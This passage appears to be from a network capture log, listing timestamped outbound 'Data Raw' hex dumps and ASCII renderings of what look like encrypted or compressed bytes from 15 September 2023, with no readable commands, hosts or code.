2023-09-15 20:16:20 UTC	64	OUT	Data Raw: c7 17 84 61 a8 24 0d c2 7e a6 97 8c 9f 85 5a d8 73 ea 77 8e 89 b6 22 08 8f 10 db d2 d5 69 ee 43 a0 23 2f a0 42 07 b9 e1 6b a1 fe 0e 5b fd 13 50 33 05 9c 9a df 76 aa ec 2d 0e 70 23 71 04 37 a0 c7 a4 87 fd 3f ea f6 df 55 22 b5 1c c7 cb 68 e3 87 8d 51 72 14 2b c7 bd be c0 17 a0 76 f2 55 1b c4 e9 d4 04 e4 b0 cb 04 f3 ae e9 b5 23 8e 33 33 2f 1e 7f 0b 65 85 91 f2 52 71 38 6a e2 1c 9a ca a7 e4 73 59 bb e0 53 df 58 fc 32 25 5e 92 76 09 80 c9 1f 56 61 31 3a 81 59 8e e9 ab f7 4c 80 c2 d5 43 dd e5 05 06 2f 33 9d 42 46 c9 bf cc 63 c4 0c 36 07 85 b6 ec 6a e3 1e 92 6c 5f 2b b5 a1 64 9e a3 4a 25 aa 4d 20 b8 15 f3 3f 40 e4 ed 80 bf c6 06 ab ba 9e eb 6e ef 17 18 7d cf b5 a3 bc 6f 99 52 42 49 6c a0 cd ef b4 99 98 c0 ba 9a 26 a5 75 f1 b9 04 06 9d 3e ca 36 c6 0b 9d 0e b3 15 Data Ascii: a$~Zsw"iC#/Bk[P3v-p#q7?U"hQr+vU#33/eRq8jsYSX2%^vVa1:YLC/3BFc6jl_+dJ%M ?@n}oRBIl&u>6
2023-09-15 20:16:20 UTC	80	OUT	Data Raw: b0 d6 ab e4 a5 5d 51 0b ad e4 24 ec 8b c1 42 ff 0f 75 98 62 69 25 0a 3c c0 dd 23 2c 49 92 f8 7a 46 19 f8 c3 e1 30 59 87 c4 a9 ab 98 9e 83 b0 66 93 bc 75 88 ee 67 8f 35 e2 25 04 31 3e 01 60 cb 17 a4 8a 34 82 cc c4 51 3e b1 c9 59 9f b5 f3 3f fb 85 a0 0c b4 7f 47 61 55 1b 51 42 a8 f1 ca de b7 9f 6c ae db 86 46 89 ba 43 26 0f 3a d9 55 ed 75 f1 d6 a0 2d db 75 5e ff 7a b4 bd 6f 0f 46 47 37 73 c6 7b 2e 64 6a c1 52 ee 79 83 fc 41 9b b0 c9 06 f1 f3 31 f9 ac 5c b2 44 d9 d1 c0 11 a9 00 08 66 fd 53 54 eb 1b b7 dc 6a b6 21 b0 82 f7 04 08 d7 c1 9e 74 fa 30 34 99 7c ad 61 6c b3 fd 23 30 a2 60 ca b9 8b 58 84 b3 9f f3 de 7d e1 fb a0 fb 00 82 78 fc 2f d0 88 a5 0a e0 da a8 85 18 90 ef 10 76 88 6a 50 7f f2 80 cc 16 40 16 b9 60 ab 63 6f 06 b7 63 b3 a6 b4 37 9d 26 ce 47 8d 0c Data Ascii: ]Q$Bubi%<#,IzF0Yfug5%1>`4Q>Y?GaUQBlFC&:Uu-u^zoFG7s{.djRyA1\DfSTj!t04\|al#0`X}x/vjP@`coc7&G
2023-09-15 20:16:20 UTC	96	OUT	Data Raw: 3b 60 32 41 b7 45 68 0e d3 8d 17 2d ff e1 86 9f b2 33 ab 94 0c 3b 6f 66 b8 b9 3b 0d 89 fc c8 0e 75 15 90 d8 f4 77 9c ac f0 cd cd 44 1c a6 29 a6 85 55 c4 d6 c8 b7 f7 76 a2 9a a6 57 b8 86 3e d8 18 6d b9 1b 1f ae aa 08 4f 75 fd 36 1f 9f d6 03 e6 d3 1b 59 d1 78 ef 95 01 68 53 04 f8 5a f1 f9 4f dd 1e 38 eb fc 25 18 64 89 c0 b9 55 98 7b a8 d5 79 3b 44 72 61 1c 35 75 d0 b1 86 83 15 ad 5f 82 32 25 6f 86 70 a2 54 13 5e e6 66 9b 49 db 36 d6 8f fc 12 00 53 06 93 ea f6 3b ee 44 40 ab 51 df 60 ad 7f 63 28 a7 08 6c 98 be 34 6d 73 c4 35 a9 b0 04 8c d3 bf 11 bb 86 db a6 a4 c8 3b db ea cc c8 a7 cd 1e cb 5c 04 90 24 98 d5 58 de 9c 3a 4c 58 9a 01 fb 79 8e 61 92 5e a6 e5 91 e0 bc 3e 50 b3 8b 57 88 18 3a 1a 89 98 77 b2 98 1a a9 f4 5e 03 a6 7c 57 5e a2 89 14 8a 05 17 5d 9f a8 Data Ascii: ;`2AEh-3;of;uwD)UvW>mOu6YxhSZO8%dU{y;Dra5u_2%opT^fI6S;D@Q`c(l4ms5;\$X:LXya^>PW:w^\|W^]
2023-09-15 20:16:20 UTC	112	OUT	Data Raw: ea ee 11 8f ef 10 e7 56 b9 65 57 07 95 25 69 6d 53 97 d0 4a e6 bb f8 01 1f e3 22 41 41 47 03 c0 04 93 7e cb ba f2 de 8f fb 75 3a d9 7a 72 ab 49 fd 5b ff 37 5b fa 46 00 65 00 ae 12 cf e9 9b 9c 77 28 d8 2b 31 a2 f7 37 cb 9c 74 09 38 3a 75 a6 bc 23 76 88 b6 14 9c 6c 7a 7e b7 1a 34 ae e3 a1 19 7b 55 1a 68 a2 f1 ed eb 88 35 af 49 2f 0c bf 81 39 82 f7 8a 1e 69 8b 81 1a ad 31 bb df 2f ec 8b 8b bc da 1b 8c 5b ce d5 9e e6 6e 3e 0e 1b 63 52 02 ce c3 cc 48 27 68 cc c4 0f d8 94 45 55 67 90 52 b7 96 89 e5 8f 1f 19 e7 b1 e2 06 23 20 9a b3 4b 87 94 8a dc 1c 00 b9 b4 d5 16 1a 61 ba 85 60 21 15 f2 0d 18 67 3e 47 62 c9 2d 48 9b 23 c0 0f 88 de 3b 08 7b 52 3d b3 a5 dc 89 7a fc 05 e0 f6 88 7f d0 3a bb 7f 91 41 d6 8f 34 42 f5 ad 8e 80 c1 d9 6e 22 22 74 e2 d7 2d 32 17 5f 1f 14 Data Ascii: VeW%imSJ"AAG~u:zrI[7[Few(+17t8:u#vlz~4{Uh5I/9i1/[n>cRH'hEUgR# Ka`!g>Gb-H#;{R=z:A4Bn""t-2_
2023-09-15 20:16:20 UTC	128	OUT	Data Raw: 26 de 7a 01 68 b8 50 3b 27 3b d5 f1 cd d1 9a af b4 31 fe c0 7e 18 85 fe 1a ca 50 46 88 9b b2 7d 71 75 07 89 4a ad 27 64 7c ba 51 c3 c2 d5 70 19 2f e7 09 54 62 4a 76 2e e5 d9 fd 23 ae b4 ea 39 16 91 92 1c 3f 32 03 18 20 66 95 88 3e c1 7e fd b1 c3 d4 5c a8 39 b8 7d bf 71 10 5c cd 8b 37 54 0e 9f ec 0c 56 a9 ab 09 50 65 1d 17 85 0f e7 f0 f8 5a fa 3b 47 3d b1 3f 0d e7 91 74 37 1a 68 fc ff f0 6e b8 02 d8 40 6b 6c 8f 51 b5 34 be d1 ce af c3 db db be ef 55 73 1d cf 5c fa 70 49 b6 21 f3 06 99 b7 2b a8 13 9e 5a 62 3d f4 ba 12 48 2e e3 72 0f f2 07 9b 62 3e 7c ec 85 65 0e 72 e5 80 1e 31 70 b6 1c f1 5b b7 54 2e f8 22 cd fa 65 27 26 9f 80 84 2c 0d 8d 50 77 f5 27 a7 1c 31 16 57 5a 9a 5a ea eb 6e c3 24 a0 11 ac 5c 99 d0 11 dc 98 f7 85 6e a7 d9 53 26 ff be 0a 69 d4 cb 49 Data Ascii: &zhP;';1~PF}quJ'd\|Qp/TbJv.#9?2 f>~\9}q\7TVPeZ;G=?t7hn@klQ4Us\pI!+Zb=H.rb>\|er1p[T."e'&,Pw'1WZZn$\nS&iI
2023-09-15 20:16:20 UTC	144	OUT	Data Raw: 41 9f fc 2d ca ed ff e7 17 17 32 db aa da 5a 87 ef 52 8d 65 59 7f e7 d2 37 19 30 9b 58 e9 3e 82 07 8e 65 f3 09 5d ae 2e 89 dd 36 66 5d 4f 29 03 ef 2b 8d 00 fd b5 09 f1 36 0d c0 d3 8e 1b c6 57 51 9f c8 ba e0 8e d4 e3 57 c1 7f 91 72 ea 0e ec 23 98 c5 46 df 18 02 52 df 14 55 9f 70 34 e8 a2 f8 28 28 c5 f2 d0 7c 50 8a 34 8b 6f b6 e4 d5 bf 93 03 88 58 24 97 57 24 36 4f 9e 0d f3 7d 89 42 94 b7 73 96 cf fb 6c 82 4a 2e 58 25 f8 8a 45 1c 27 b0 18 13 c9 a4 ad f3 dd 14 b9 ae 1a 6f 19 3d 8d ce a8 34 0f b8 c3 b9 a8 89 c4 72 47 e7 bd 14 8b 50 bc 93 41 18 17 b4 f5 53 d5 55 c7 f2 c8 41 9a 9a 54 55 f1 00 f1 ed 9d 24 14 72 66 b6 ce 5f df c0 26 50 c9 65 ee be 29 d3 d4 17 cb 41 e4 fb 58 5e 25 fa 0d af 8e 4b 0d 78 3b dc 5e 02 96 0f bb 13 be 52 a0 99 74 6d 32 83 9a cd 95 0c ce Data Ascii: A-2ZReY70X>e].6f]O)+6WQWr#FRUp4((\|P4oX$W$6O}BslJ.X%E'o=4rGPASUATU$rf_&Pe)AX^%Kx;^Rtm2
2023-09-15 20:16:20 UTC	160	OUT	Data Raw: 4d 76 06 1b bd 9c 0d 5c 11 cd 20 5a 0d 22 ab a8 51 51 88 be 45 f6 c8 a0 f7 ab 5e ea ad 1b 58 96 19 c4 8d c5 28 9f 7a 6c 59 3c 3f 7f da 73 a0 1f 63 0f c8 e6 f0 fb 2f bf a9 ee 07 f6 ec ae ba 83 99 fe 35 12 31 51 e9 3a a1 01 fb e1 8b 59 4a f3 36 41 2a fa 3e 8e 88 4e 18 a2 1b 80 d0 89 13 8f d0 22 b5 42 36 81 c8 93 39 9d e5 b4 aa ac 39 7c 6a 0c e2 e4 5a d1 51 22 7c 31 1e 72 35 98 16 3b 12 07 40 ad 28 ae 05 1b f2 47 b7 4d 8a 3b b1 88 70 b0 da 59 8b 46 22 04 52 74 62 28 be 41 de 5b 6b d6 41 c9 a0 fe fa 06 32 52 89 a6 b6 08 c9 a0 62 ce 2d 3d d9 bd 56 6b be 77 44 3f c9 29 42 9e 73 45 33 bb ba 3b 2a eb bc 15 09 7a c6 fc 05 59 69 b3 98 eb 74 aa 3f 22 c3 1f e8 ee 5a 69 3f e3 03 9e 52 06 2f df d5 2b 23 28 c6 d2 e0 1f 6a bd 6b ef 19 5e 5e 09 e9 ec fb bb b4 54 e1 b9 57 Data Ascii: Mv\ Z"QQE^X(zlY<?sc/51Q:YJ6A>N"B699\|jZQ"\|1r5;@(GM;pYF"Rtb(A[kA2Rb-=VkwD?)BsE3;zYit?"Zi?R/+#(jk^^TW
2023-09-15 20:16:20 UTC	176	OUT	Data Raw: 0f 61 fa a9 1a a4 67 ed 73 29 ee a0 9c 05 36 95 3e 6e fe 26 00 63 ad e1 86 d3 47 9d f3 bf b0 f2 f3 f1 c1 4d 66 07 46 ef 6b 20 25 9f b3 be 5e e0 62 b2 64 87 a7 99 cb 2f c1 27 2a 6f 08 c2 ec b6 16 90 67 b7 c9 f7 6a 9f cd 7e db 49 ef 5a 6a 9a 2c bc 79 12 88 79 6c 00 3f ab d3 e8 08 4d 93 61 18 1a 26 ea cc 00 0f 46 ea c4 3f 33 3e 81 a6 ad a2 c6 2a 66 fd 2c d4 a1 ab ff 80 ff db 1a 6f 8e 16 d3 ee 54 46 6c d8 13 06 97 a8 cd 79 05 c4 0f e6 1a cf d2 dd c2 27 a5 e3 5e 38 c5 88 57 14 da fb 75 11 03 ee 1a 54 de d2 e0 81 d4 7a 7b f1 a0 fe 1d 7e a0 1d 74 d4 c3 db 6f 87 11 4d 64 bb a2 d9 a4 79 84 59 ca 4d f2 3b 08 a0 ae 0c 2c af 06 4e 2c e8 b1 f7 fe ea 1a 94 b4 e4 35 2f b0 9e 1d 10 78 49 52 d1 36 31 1e 37 c7 e5 8c 58 f6 66 41 8b de b9 b0 a4 8f 55 96 ef e9 5c ce a1 eb 10 Data Ascii: ags)6>n&cGMfFk %^bd/'ogj~IZj,yyl?Ma&F?3>f,oTFly'^8WuTz{~toMdyYM;,N,5/xIR617XfAU\
2023-09-15 20:16:20 UTC	192	OUT	Data Raw: e0 9c d9 17 de 27 a0 df 04 0b ff 77 5d 21 82 36 f9 39 68 64 22 ba 03 0e 8a 8d 45 54 ba 6a 72 73 e3 25 b8 12 08 2d 9c 6c 85 45 b5 2f 58 e2 41 3b 52 ca 65 b6 b8 93 e9 b5 2e f6 ea e6 13 c6 91 80 60 fd dd 84 bc f2 a8 0b 80 4e e2 65 2a c3 b6 7c 20 35 c7 35 11 58 29 01 10 e7 e7 03 4f d0 0e 76 de 9c 3a e7 20 17 25 6e 8e 2e 82 ee ed e4 b6 a6 d5 f1 58 4f 71 a1 4a 48 8a 6d 6d 0b 4b 84 8f a5 c5 bb 54 45 39 ae 37 84 a0 f7 c6 06 67 3e 30 d7 af 1e 99 46 ad d8 56 61 9a f2 f6 f3 a1 c1 41 79 d1 61 e4 fd 0d cd 87 88 d2 19 40 15 bb 8a 40 85 5d 36 09 ff b5 d3 81 b4 06 8f 97 06 5b be 08 d8 10 bc 3a 30 96 65 7a 81 20 f5 82 83 1e e5 51 89 64 a4 aa 82 cf 26 3a 6b 60 62 b6 99 07 e3 92 e6 fa cb e0 b8 20 31 d3 0a 55 b8 21 61 0f 87 2b 06 a4 ef ad 5c 1c 47 82 9b c4 93 d8 77 76 24 b4 Data Ascii: 'w]!69hd"ETjrs%-lE/XA;Re.`Ne*\| 55X)Ov: %n.XOqJHmmKTE97g>0FVaAya@@]6[:0ez Qd&:k`b 1U!a+\Gwv$
2023-09-15 20:16:20 UTC	208	OUT	Data Raw: 0a 1d 75 52 a4 34 ef be ea fd 96 59 0e 35 f7 bc e9 9a 3c b1 fa 30 ad d8 19 e1 4f 57 de 6a 7a a3 f9 36 bc 76 9d dc 79 3d 16 02 4d c6 f4 c7 50 33 58 40 f8 10 ce 9c dc be 3b c3 4d da 59 42 79 6d c9 96 fa 4f 10 4f 92 ed 0f 4a 5c fe 78 61 28 4b b5 cd 46 af 86 d7 09 62 fb 8c f4 e3 26 cb 0e 33 c8 72 39 51 69 86 9c c6 31 ae fd df 6f 7c 6e 60 76 e4 b7 bc 73 b0 89 e8 f1 1b ce 04 5c b4 01 88 c4 99 05 08 e0 f3 3b eb 48 0a 07 65 28 fa ec ed 4c 3a ab d6 0c b4 6b f2 1b 94 a9 1d 48 8a ca 5b 42 09 c3 b4 ea 8d 68 de 5d 9c 49 64 5b 0d fa b4 2d 7d ff 46 df d3 56 9a 36 3b 34 19 6d b7 22 03 3e 28 49 ce 6a c9 d8 88 83 d1 2b 96 bf bc bf 68 7b c8 e4 ef ec cc 2e af fc 4f 81 85 75 d4 a7 42 9e f9 3d a1 38 ae 34 e1 8d ab e3 b9 43 85 db e2 3e 1e d4 52 85 41 fe 30 59 2b c3 a1 0f 81 ed Data Ascii: uR4Y5<0OWjz6vy=MP3X@;MYBymOOJ\xa(KFb&3r9Qi1o\|n`vs\;He(L:kH[Bh]Id[-}FV6;4m">(Ij+h{.OuB=84C>RA0Y+
2023-09-15 20:16:20 UTC	224	OUT	Data Raw: df 8d 05 e4 4f 18 9e 4d 44 12 b9 b2 b3 a2 1d 10 b6 df e0 95 0b 7c e6 4f 07 d6 e9 94 72 c6 3d 0e d2 71 8d 02 f0 0b fd e5 c3 11 e1 ed 71 d9 e9 48 03 5a e7 f7 e6 5c fd 9a ab 4c e2 87 ff 37 c0 51 f5 c1 b1 16 68 9c 76 f2 00 2a 77 43 f5 5a a4 b8 12 89 9b 16 8f db 91 94 bb f6 b9 13 22 76 79 b4 0f b5 15 7a a6 44 f4 f5 a5 64 c7 39 d1 b1 57 28 69 78 80 3f dd 84 1c 4f 2b e8 39 6d 13 12 e1 d9 0d fc 94 61 95 16 20 5f 12 3e f7 f8 f1 5b 45 63 23 84 fd ef 80 13 6f f2 f0 82 cd 5f ba ac 40 12 db 1f 1b d8 e4 b4 ae f5 23 43 f1 f4 55 ff 95 7f 83 cf fd 39 f0 91 b3 de d9 79 d0 01 1e 44 c9 84 f8 b8 5e 29 d6 61 62 3c 19 5b 43 3e 37 6b ea 50 ad a8 25 e9 e0 b6 19 37 5d c4 c5 8b 3d ae 1b 5d c2 ab e6 aa 7a 0a c1 97 56 dc cf c9 1d e4 62 74 e7 2a 3b 8d 68 52 da bd 4d 65 82 34 39 1b 26 Data Ascii: OMD\|Or=qqHZ\L7QhvwCZ"vyzDd9W(ix?O+9ma _>[Ec#o_@#CU9yD^)ab<[C>7kP%7]=]zVbt;hRMe49&
2023-09-15 20:16:20 UTC	240	OUT	Data Raw: 78 c8 1f 24 93 b3 87 5a 22 55 29 e3 58 97 d3 8d 86 a9 cf 8b c5 9c ee 0c f5 4b 52 3d ec 3c 87 08 cc 6c c9 ac 6d aa 89 46 35 3d ba d2 f5 b3 82 1a a7 e3 32 f9 a2 c0 f0 33 45 f5 ba e9 d3 83 d1 8a e9 26 c1 00 8f da 1d bb 06 ba 08 f9 51 e3 e3 e8 32 bb e2 38 a2 f2 5e 95 d6 e4 a3 70 02 f6 31 91 2e 7e c8 14 58 fa c5 e5 df 1c c9 5d 6a 6f 91 df ed 24 b7 67 be d2 66 cc 62 9a 2b 2f c9 3c f8 dc d8 f3 42 09 90 24 7b 5e a2 34 b8 92 de e6 65 71 2d 51 24 5c 06 fa 31 d3 61 d2 a8 19 b6 e4 a1 c4 6b 3e bb cf bd 9c 85 39 37 b1 60 1f f1 7c e3 b1 44 3f 71 88 35 d1 52 4d 3f 0a 81 b3 af 06 0c cd 9c 81 ae c6 33 00 5a 1a d0 f8 b0 24 62 c5 a6 67 51 db 52 0f 09 46 76 bc b5 4f 69 77 17 06 4d 61 45 02 9a 6e 63 75 d2 df 0d 21 f1 5c d8 9e 72 37 7f 62 87 c9 a7 83 4b cc ef 8d af 10 01 03 f9 Data Ascii: x$Z"U)XKR=<lmF5=23E&Q28^p1.~X]jo$gfb+/<B${^4eq-Q$\1ak>97`\|D?q5RM?3Z$bgQRFvOiwMaEncu!\r7bK
2023-09-15 20:16:20 UTC	256	OUT	Data Raw: 0b 98 24 aa 5f 7b 70 89 ed eb 4f 8c d8 58 0a 38 f1 1e 41 7d 23 e1 62 bc 78 d6 81 e8 54 b2 7c 1c 56 5b 12 a5 6a 43 76 ec 4d 97 f5 c2 bf b2 57 d2 48 0c 51 b6 66 e3 90 46 e7 8d d8 a9 6e a1 48 a9 55 35 94 fe 60 08 0b ef c5 b3 c1 5a 98 28 dc 30 76 2b 31 7b 7c a3 f8 94 38 74 40 22 f9 d0 a0 d8 2e 64 74 25 10 a0 86 4a 05 2c 95 e1 6b ba 0d 1e 5a df d2 df 1b 49 c1 16 0f 75 f5 ef 1c fd 6a 03 9c ff d9 82 22 90 52 a5 35 fb 07 55 2b bc 84 ba fb da ca b4 56 ef 53 05 d1 fe b0 b6 e5 b7 08 e7 fe f5 94 e8 f5 9f 57 49 93 4e 63 61 ad 8a 8a 6d 3e 68 5c b6 d7 6c 2d 19 4c 16 c4 29 58 1e 89 68 8f 5e b4 7e fe 5d 84 5c f2 09 3e 63 28 f6 2a a9 6e 56 59 af 14 ab 63 09 11 43 ae d0 19 60 98 67 11 a1 8b 44 1b 98 a1 48 44 8c 18 ab 46 c8 8f 91 ac 31 1e 7d 88 0c 03 dd 17 ff 52 c9 b1 77 0b Data Ascii: $_{pOX8A}#bxT\|V[jCvMWHQfFnHU5`Z(0v+1{\|8t@".dt%J,kZIuj"R5U+VSWINcam>h\l-L)Xh^~]\>c(*nVYcC`gDHDF1}Rw
2023-09-15 20:16:20 UTC	272	OUT	Data Raw: 10 14 ee e1 66 bf 60 9b 38 64 1f 70 48 a2 32 e7 b5 9b 0c d5 13 84 ad 1a ed 80 e9 10 9e 37 20 a9 90 5c fa af b3 9a 92 a4 f6 93 02 8c 13 96 cf 7b ee f2 85 61 a6 44 5f 0d cc 4f d4 f1 0b ba 0e f7 bc c9 26 f3 98 31 83 77 12 a9 00 bf 59 28 56 31 9f 67 dc 95 72 9a e9 c1 e8 44 ac 07 58 4e 7b c1 f8 0d a0 4a 48 7f fd 2a b9 40 55 c9 9b 85 75 c3 8b cc a8 ce ad 1e e1 69 5f 00 f2 c6 69 40 ff 4b 52 d4 f3 57 d7 35 57 8c 7e 5d e9 94 1d 30 f5 6c a6 96 d3 4e a6 db 9b 95 6b 79 5c 32 5a 2e 00 2a 9e bb 76 4c c0 35 6e 47 ed 84 7e b7 52 0d 9a 4f a2 bb a1 25 a5 53 e0 01 c5 51 b0 37 39 d0 c1 12 ef 9b 3e 5e d8 61 ab 51 cf 3d 31 9f 66 89 9f 3c a9 47 09 01 fd 72 58 41 a4 15 84 53 7d 58 ed 58 90 b1 57 e8 c2 e8 d4 de f4 28 11 9c 60 24 1a 75 13 b5 3d 2d bf 6e f4 ba ca f0 70 54 9c be b5 Data Ascii: f`8dpH27 \{aD_O&1wY(V1grDXN{JH@Uui_i@KRW5W~]0lNky\2Z.vL5nG~RO%SQ79>^aQ=1f<GrXAS}XXW(`$u=-npT
2023-09-15 20:16:20 UTC	288	OUT	Data Raw: 2a 63 61 58 76 c9 d6 c5 be 20 cf 49 9e ac 24 41 61 9a c1 20 a3 cf 7f c4 f2 a9 3e f9 fd cf 46 88 56 47 78 52 7b 46 b8 93 58 11 71 50 44 96 64 d8 c4 be ef 04 ad 8d 37 ce 66 bb 0a 0a 32 0b d3 f4 0f 62 83 08 4a 99 bd 2a ef 54 a3 0c 3e ab d8 fd 07 14 40 c0 d4 30 8c 56 80 bb 40 80 92 ba b7 1a 61 85 0e d9 3d 9d 1c c4 f7 52 b3 c4 a5 1d 48 d6 6e a8 6f cd 38 e6 f3 d8 a6 dc 8a e6 9f ac f6 48 51 f8 ae 95 45 fb 91 43 11 18 9f db 43 5e 11 93 d9 6b 4a 2c 1f 48 3b f5 34 90 8c 12 0b 1b 2a 27 ed 35 1b 60 7f fe 18 b6 8b 72 27 a8 25 fd f3 31 03 d3 b8 b5 2d 43 89 d3 8e a5 08 b6 ea 60 29 b2 c1 69 70 7d 5e e4 f0 9b 9a 2a 2a ba e1 17 f0 18 23 41 78 be 62 32 32 26 2b f7 e8 2a b2 88 c1 96 45 db 0f 9b 06 f3 c4 30 ef a8 13 9b 52 b8 d9 3b 63 c0 8f 70 c9 b3 1d 64 4c 42 c3 97 64 c8 48 Data Ascii: caXv I$Aa >FVGxR{FXqPDd7f2bJT>@0V@a=RHno8HQECC^kJ,H;4'5`r'%1-C`)ip}^#Axb22&+E0R;cpdLBdH
2023-09-15 20:16:20 UTC	304	OUT	Data Raw: bf cc d2 e9 97 61 5a 69 7c 1f 9d 8a 81 9a f3 7d 4a 30 6e 85 bb f7 b4 34 f4 4f 5e df 06 68 5e 53 93 e8 d6 bc 0b af d3 74 4b d3 b2 7e c4 bc 7e 04 e3 6e 9b 3c 2b be b2 2e b6 8e 28 21 ad 31 5d 93 35 a5 d1 76 ee 18 53 af 39 27 46 6d 05 d0 84 0c 2a 98 f8 88 71 a1 44 51 5e 8f 2d 7b 13 f4 61 8e 14 e8 8f 38 d9 2a d8 70 1f 44 2c 6c a2 bf 1f 06 56 90 23 76 0d 58 45 2f c1 76 8f a2 cc bc 9d e0 e5 c4 f8 ef bd 8f c0 8b 5c a7 1b 70 b7 dc 1d de 6b 7f 0c 0b 77 77 ad 96 bb 43 33 e4 14 34 6b ab a8 82 fb 92 b2 4a e7 b4 63 41 a9 51 53 d7 99 a1 46 84 08 b6 79 05 b5 6c d1 9f b6 01 f9 75 70 e9 8b b4 02 70 82 b4 d6 4c 8a 71 eb 98 06 4e ee ad 24 b8 9a 4f 61 61 0a 53 93 7f 23 b5 3a b2 ad 9e 6d f0 9f 4f 9b 6e b7 b8 f0 6d 7e 59 36 e7 8d 76 fd 11 8a 5f b5 0d c8 24 26 86 e5 c8 5c 63 ec Data Ascii: aZi\|}J0n4O^h^StK~~n<+.(!1]5vS9'FmqDQ^-{a8pD,lV#vXE/v\pkwwC34kJcAQSFyluppLqN$OaaS#:mOnm~Y6v_$&\c
2023-09-15 20:16:20 UTC	320	OUT	Data Raw: 2f cf fe b7 79 90 d3 a5 ae 7e 52 af c3 4c 61 58 7b 6c 38 f7 d2 ea 8f a3 83 a5 da 30 8a f2 33 21 c0 b1 8e 78 ce 7f f4 c3 d2 43 62 e9 53 52 ef d2 5b 24 c0 1e a3 2c ac e8 d1 49 85 67 56 e9 5b 8c 86 81 d1 63 9c 15 83 bc 77 3f bc b2 b5 59 9c 0a d9 9a 90 01 8a e4 9d 44 d6 09 a6 1b ce e7 f6 2b 0c 53 39 ce 47 43 2b 71 da d0 77 29 a0 ec 72 c8 8f da 60 74 06 96 cd 78 46 cf 78 f0 e6 46 77 0b 4d 78 84 94 45 3d 69 02 58 d5 df 17 af 72 0d ac c0 a1 c2 23 ca 5e b6 26 87 f7 83 b2 f6 6a fe bb e1 90 ee 80 25 e3 90 ee 15 f5 ff 85 56 ae 32 c5 2d 8b 11 f5 0e fc b8 3e d6 27 da e4 3a 6e c5 b8 95 4c c5 f4 64 28 45 82 58 49 c8 f0 02 8b 26 69 5b 51 0b f6 1f 81 ce 3a 36 0f 13 c6 9c 93 41 5e f0 1a 30 ab 62 3a dd 47 46 3c f6 99 74 9a 08 ce 35 50 f4 12 d4 c4 61 ed 42 8b 5d 8f 0d 43 34 Data Ascii: /y~RLaX{l803!xCbSR[$,IgV[cw?YD+S9GC+qw)r`txFxFwMxE=iXr#^&j%V2->':nLd(EXI&i[Q:6A^0b:GF<t5PaB]C4
2023-09-15 20:16:20 UTC	336	OUT	Data Raw: cf 34 ef 02 72 a2 d6 a0 e6 37 d6 3e 31 34 12 c6 f1 35 4e 0d 15 29 af 67 54 75 fc 67 08 0e b5 46 0b ac 2b 37 d9 36 f0 c1 81 ab b6 19 95 91 96 09 0c b7 40 b2 2c b2 64 dd eb 54 20 fb 5e 67 9c f7 2b 96 8f eb 63 26 45 6f a6 3e 0a f8 65 77 94 38 f6 55 70 67 67 fd 54 28 eb a8 51 24 a5 c3 c6 8d c1 17 a0 80 32 91 52 4e cf a3 75 c4 a8 fb 59 cb e5 f9 b0 3e 39 00 94 29 4f ac d3 96 ce 2b de 8d 47 fc b5 6b 92 6c 15 a0 9f da 28 22 63 5f cc d1 bb fa 3e c9 81 3c b3 23 a4 4e cf e4 60 e4 67 9a 94 02 c9 97 03 75 66 36 80 42 d6 b1 cb 4f 4e c6 7e 26 d5 54 05 65 57 77 33 fe 4b 43 0d 12 16 c2 22 a8 74 4d 3c 65 0a 55 1a 68 b7 c8 9b df 32 f9 99 60 da 02 e5 5e 20 0d d7 a8 9b 93 43 25 79 72 b4 41 51 93 b7 d1 b5 7b f2 90 82 e5 86 8b e7 38 de c0 c8 57 67 bb 56 0d 75 28 b7 9f c5 dd df Data Ascii: 4r7>145N)gTugF+76@,dT ^g+c&Eo>ew8UpggT(Q$2RNuY>9)O+Gkl("c_><#N`guf6BON~&TeWw3KC"tM<eUh2`^ C%yrAQ{8WgVu(
2023-09-15 20:16:20 UTC	352	OUT	Data Raw: ef e2 be be 78 8f fe e4 8b d7 38 61 68 a3 ef fe e9 12 fd 0f 66 d4 6b 09 d0 a5 8f e1 f1 8a 10 ff cc e8 51 d4 70 25 6f 56 9f 53 c2 40 1c 51 5c bb 89 b6 40 ad 30 96 fd c7 f4 4d 6e 0e d2 3b 55 3d 66 68 44 f0 a2 49 b7 a0 d3 0d 7c 61 1f c0 f1 c5 a0 10 f5 31 ed 16 d3 04 3f 08 a5 82 67 ee 88 01 9e dd aa 61 1d cf b2 c6 5f f5 eb 5d 30 8a 3f 44 e0 3e 48 a4 c4 46 0c 55 5c c7 c7 56 f8 5b 74 0e ec 91 a6 c1 a3 d2 16 81 ec 0d e8 59 34 fb d8 5d 3b a0 21 09 31 1c 8c cb 70 53 cc df a6 27 48 4d b6 b8 07 08 50 2a 97 2d 02 24 7b 25 4f 54 ea f7 b4 60 8b 39 f4 d9 5c d0 9d 47 4a b7 6f 24 d1 10 1d 0f 8f 98 cc 66 be c9 9d a4 a8 f8 92 cd 35 91 f8 62 f6 cf d9 a9 90 6d f3 17 eb 85 b2 04 e0 2f 55 f4 4e 7b 55 a6 57 44 96 02 e2 69 5d 6d b6 30 e5 55 97 50 0d 62 8b 92 51 8b e8 e7 8f a3 e4 Data Ascii: x8ahfkQp%oVS@Q\@0Mn;U=fhDI\|a1?ga_]0?D>HFU\V[tY4];!1pS'HMP*-${%OT`9\GJo$f5bm/UN{UWDi]m0UPbQ
2023-09-15 20:16:20 UTC	368	OUT	Data Raw: 9f 2f e7 3c c7 42 3d 07 b7 fc 2a 96 df 6e e2 84 fd f9 56 c1 29 1b 81 c8 9a 22 74 e1 cb 0e 80 b9 d0 92 2f ef 4a 9a 54 0e 20 bc 81 7d 99 87 ef 94 ee 1e c7 67 0d e0 10 ee 3b 46 c0 f3 40 46 7c 4f a1 46 da 47 68 3b b8 29 1e 2b de cd fe 9a 9d db 1e 1e be 0e 4e df 5f 0f cc 99 01 c3 6a 95 e8 8f f4 e0 17 7c dd 5a ca c2 76 82 30 ff 2a 5c 32 11 a3 02 1f 3f 70 60 f8 ba 66 c1 1f 83 84 2d 6c 8f e8 6d e3 95 33 4a 6f 9d d4 18 1d 53 d6 09 7a f6 e3 d2 d5 2b 71 76 83 0a 7e ce e9 a9 70 83 4e 93 31 6d 00 7f e3 9d 53 d3 2f d5 10 40 60 8a 2e 00 76 7c 79 4d da a0 31 5d 5f 26 87 71 14 ed 32 ca 7f db c8 d1 19 a0 40 63 2c b9 e7 fb 84 5e 8d d5 1f 26 2e 83 19 b8 07 50 d2 cf c4 6a 91 8a 5f 38 8e d8 7e ad ca e9 aa c7 71 4b 0c 72 d7 32 53 4b 62 c9 d8 60 71 d7 ed e4 60 f8 18 fa f3 d7 57 Data Ascii: /<B=nV)"t/JT 